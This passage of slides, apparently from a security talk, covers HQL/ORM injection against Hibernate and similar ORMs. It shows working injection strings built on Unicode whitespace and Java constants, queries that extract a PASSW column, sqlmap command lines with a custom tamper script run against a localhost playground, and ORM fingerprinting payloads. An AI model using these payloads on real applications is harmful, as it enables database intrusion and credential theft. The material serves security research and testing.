  • 59. ◊ Inject into vulnerable parameter ◊ HQL query UNICODE method dummy' or 1<LEN(%C2%A0(select%C2%A0top%C2%A01%C2%A0name%C2%A0from%C2%A0users)) or '1'='11 SELECT p FROM hqli.persistent.Post p where p.name='dummy' or 1<LEN( (select top 1 name from users)) or '1'='11'
  • 60. ◊ HQL AST [ for part marked yellow ] ◊ HQL query UNICODE method -[LT] Node: '<' +-[NUM_INT] Node: '1' -[METHOD_CALL] Node: '(' +-[IDENT] Node: 'LEN' -[EXPR_LIST] Node: 'exprList' -[METHOD_CALL] Node: '(' +-[IDENT] Node: ' ' -[EXPR_LIST] Node: 'exprList' -[IDENT] Node: 'select top 1 name from users' SELECT p FROM hqli.persistent.Post p where p.name='dummy' or 1<LEN( (select top 1 name from users)) or '1'='11'
  • 61. ◊ We wrote script hqli_sql_server_demo.pl for exploitation UNICODE method https://github.com/0ang3el/Hibernate-Injection-Study https://www.youtube.com/watch?v=m_MTWZptXUw
  • 62. ◊ For exploitation with Sqlmap we wrote custom queries.xml and hibernate.py tamper script UNICODE method https://github.com/0ang3el/Hibernate-Injection-Study
  • 63. ◊ Extract 1st value from PASSW column ◊ Extract 2nd column from PASSW column ◊ Extract 8th column from PASSW column UNICODE method SELECT TOP 1 PASSW FROM users WHERE PASSW NOT IN (SELECT TOP 0 PASSW FROM users WHERE 0 not like LEN('xxx')) SELECT TOP 1 PASSW FROM users WHERE PASSW NOT IN (SELECT TOP 1 PASSW FROM users WHERE 0 not like LEN('xxx')) SELECT TOP 1 PASSW FROM users WHERE PASSW NOT IN (SELECT TOP 7 PASSW FROM users WHERE 0 not like LEN('xxx'))
  • 64. ◊ Find injection ◊ Exploit it UNICODE method sqlmap -u "http://localhost:8080/hqli.playground/dummy' and 1=1* and '1'='1" --dbms="Microsoft SQL Server" --technique B -b --no-cast --no-escape --flush # sqlmap -u "http://localhost:8080/hqli.playground/dummy' and 1=1* and '1'='1" --dbms="Microsoft SQL Server" --technique B -b --tamper hibernate --no-cast --no-escape #
  • 65. ◊ Exploitation Demo [ https://youtu.be/SPlkItQtgKE ] UNICODE method
  • 66. ◊ Method works for most DBMS [ does not work for MySQL ] ◊ Hibernate resolves Java public static fields [ Java constants ] in HQL queries ∆ Class with Java constant must be in classpath ∆ Ex. - java.lang.Character.SIZE is resolved to 16 ∆ String or char constants are additionally surrounded by single quotes Χ java.lang.Character.MIN_VALUE is resolved to '' JAVA CONSTANTS method
  • 67. ◊ To use JAVA CONSTANTS method we need special char or string fields declared in classes or interfaces on classpath JAVA CONSTANTS method public class Constants { public static final String S_QUOTE = "'"; public static final String HQL_PART = "select * from Post where name = '"; public static final char C_QUOTE_1 = '''; public static final char C_QUOTE_2 = '047'; public static final char C_QUOTE_3 = 39; public static final char C_QUOTE_4 = 0x27; public static final char C_QUOTE_5 = 047; }
  • 68. ◊ To use JAVA CONSTANTS method we need special char or string fields declared in classes or interfaces on classpath public interface MyInterface { static final String S_QUOTE = "'"; static final String HQL_PART = "select * from Post where name = '"; static final char C_QUOTE_1 = '''; static final char C_QUOTE_2 = '047'; static final char C_QUOTE_3 = 39; static final char C_QUOTE_4 = 0x27; static final char C_QUOTE_5 = 047; } JAVA CONSTANTS method
  • 69. ◊ Some usable constants in well-known Java libraries ∆ org.apache.batik.util.XMLConstants.XML_CHAR_APOS [ Apache Batik ] ∆ com.ibm.icu.impl.PatternTokenizer.SINGLE_QUOTE [ ICU4J ] ∆ jodd.util.StringPool.SINGLE_QUOTE [ Jodd ] ∆ ch.qos.logback.core.CoreConstants.SINGLE_QUOTE_CHAR [ Logback ] ∆ cz.vutbr.web.csskit.OutputUtil.STRING_OPENING [ jStyleParser ] ∆ com.sun.java.help.impl.DocPConst.QUOTE [ JavaHelp ] ∆ org.eclipse.help.internal.webapp.utils.JSonHelper.QUOTE[ EclipseHelp ] JAVA CONSTANTS method
  • 70. ◊ Inject into vulnerable parameter dummy' and hqli.persistent.Constants.C_QUOTE_1*X('<>CHAR(41) and (select count(1) from sysibm.sysdummy1)>0 --')=1 and '1'='1 ◊ HQL query SELECT p FROM hqli.persistent.Post p where p.name='dummy' and hqli.persistent.Constants.C_QUOTE_1 * X('<>CHAR(41) and (select count(1) from sysibm.sysdummy1)>0 --')=1 and '1'='1' JAVA CONSTANTS method
  • 71. SELECT p FROM hqli.persistent.Post p where p.name='dummy' and hqli.persistent.Constants.C_QUOTE_1 * X('<>CHAR(41) and (select count(1) from sysibm.sysdummy1)>0 --')=1 and '1'='1' +-[EQ] Node: '=' | +-[DOT] Node: '.' | | +-[IDENT] Node: 'p' | | -[IDENT] Node: 'name' | -[QUOTED_STRING] Node: ''dummy'' -[EQ] Node: '=' +-[STAR] Node: '*' | +-[JAVA_CONSTANT] Node: 'hqli.persistent.Constants.C_QUOTE_1' | -[METHOD_CALL] Node: '(' | +-[IDENT] Node: 'X' | -[EXPR_LIST] Node: 'exprList' | -[QUOTED_STRING] Node: ''<>CHAR(41) and (select count(1) from sysibm.sysdummy1)>0 --'' -[NUM_INT] Node: '1' ◊ HQL AST [ for marked part ] ◊ HQL query JAVA CONSTANTS method
  • 72. SELECT p FROM hqli.persistent.Post p where p.name='dummy' and hqli.persistent.Constants.C_QUOTE_1 * X('<>CHAR(41) and (select count(1) from sysibm.sysdummy1)>0 --')=1 and '1'='1' +-[EQ] Node: '=' | +-[DOT] Node: '.' | | +-[IDENT] Node: 'p' | | -[IDENT] Node: 'name' | -[QUOTED_STRING] Node: ''dummy'' -[EQ] Node: '=' +-[STAR] Node: '*' | +-[JAVA_CONSTANT] Node: 'hqli.persistent.Constants.C_QUOTE_1' | -[METHOD_CALL] Node: '(' | +-[IDENT] Node: 'X' | -[EXPR_LIST] Node: 'exprList' | -[QUOTED_STRING] Node: ''<>CHAR(41) and (select count(1) from sysibm.sysdummy1)>0 --'' -[NUM_INT] Node: '1' ◊ HQL AST ◊ HQL query JAVA CONSTANTS method
  • 73. ◊ SQL AST ◊ Java constant is not resolved on SQL AST phase, resolution will happen next, when SQL query is formed from SQL AST -[EQ] BinaryLogicOperatorNode: '=' +-[STAR] BinaryArithmeticOperatorNode: '*' {dataType=org.hibernate.type.DoubleType@3bd5ea0c} | +-[JAVA_CONSTANT] JavaConstantNode: 'hqli.persistent.Constants.C_QUOTE_1' | -[METHOD_CALL] MethodNode: '(' | +-[METHOD_NAME] IdentNode: 'X' {originalText=X} | -[EXPR_LIST] SqlNode: 'exprList' | -[QUOTED_STRING] LiteralNode: ''<>CHAR(41) and (select count(1) from sysibm.sysdummy1)>0 --'' -[NUM_INT] LiteralNode: '1' JAVA CONSTANTS method
  • 74. ◊ HQL query ◊ Corresponding SQL query ◊ Char constant hqli.persistent.Constants.C_QUOTE_1 was translated to ''' select post0_.id as id1_0_, post0_.name as name2_0_ from post post0_ where post0_.name='dummy' and '''*X('<>CHAR(41) and (select count(1) from sysibm.sysdummy1)>0 --')=1 and '1'='2' SELECT p FROM hqli.persistent.Post p where p.name='dummy' and hqli.persistent.Constants.C_QUOTE_1 * X('<>CHAR(41) and (select count(1) from sysibm.sysdummy1)>0 --')=1 and '1'='1' JAVA CONSTANTS method
  • 75. ◊ True dummy' and hqli.persistent.Constants.C_QUOTE_1*X('<>CHAR(41) and (select count(1) from sysibm.sysdummy1 where 1=1)>0 --')=1 and '1'='2 JAVA CONSTANTS method
  • 76. ◊ False dummy' and hqli.persistent.Constants.C_QUOTE_1*X('<>CHAR(41) and (select count(1) from sysibm.sysdummy1 where 1=2)>0 --')=1 and '1'='2 JAVA CONSTANTS method
  • 77. ◊ Sqlmap exploitation sqlmap -u "http://localhost:8080/hqli.playground/dummy%27%20and%20h qli.persistent.Constants.C_QUOTE_1%2aX%28%27%3C%3ECHAR%28 41%29%20and%20%28select%20count%281%29%20from%20sysibm.sy sdummy1%20where%201=1*%29%3E0%20-- %27%29=1%20and%20%271%27=%272" --dbms="DB2" --technique B -b -v 0 JAVA CONSTANTS method #
  • 78. ◊ Exploitation Demo [ https://youtu.be/ZYSE-qhCL-8 ] JAVA CONSTANTS method
  • 79. OUTRO
  • 80. HOW TO IDENTIFY ORM Hibernate WildFly Jboss … and 1bi = 1bd and … EclipseLink Glassfish … and FUNCTION(‘1=1 and’,‘2’)=‘2’ and … TopLink WebLogic … and SQL(‘1=1’) and … OpenJPA TomEE WAS … and “1”=‘1’ and …
  • 81. ORM Injection methods summary Hibernate EclipseLink TopLink OpenJPA Method Postgre SQL Oracle MS SQL DB2 sqlite etc MySQL Any DBMS Any DBMS DBMS magic function Χ Χ $-quoted string Χ Unicode Χ Single quote escaping Χ Java constants Χ Χ Χ Χ ORM magic function Χ Wrong single quote proc Χ Quotes indifference Χ
  • 82. Thank you for your attention!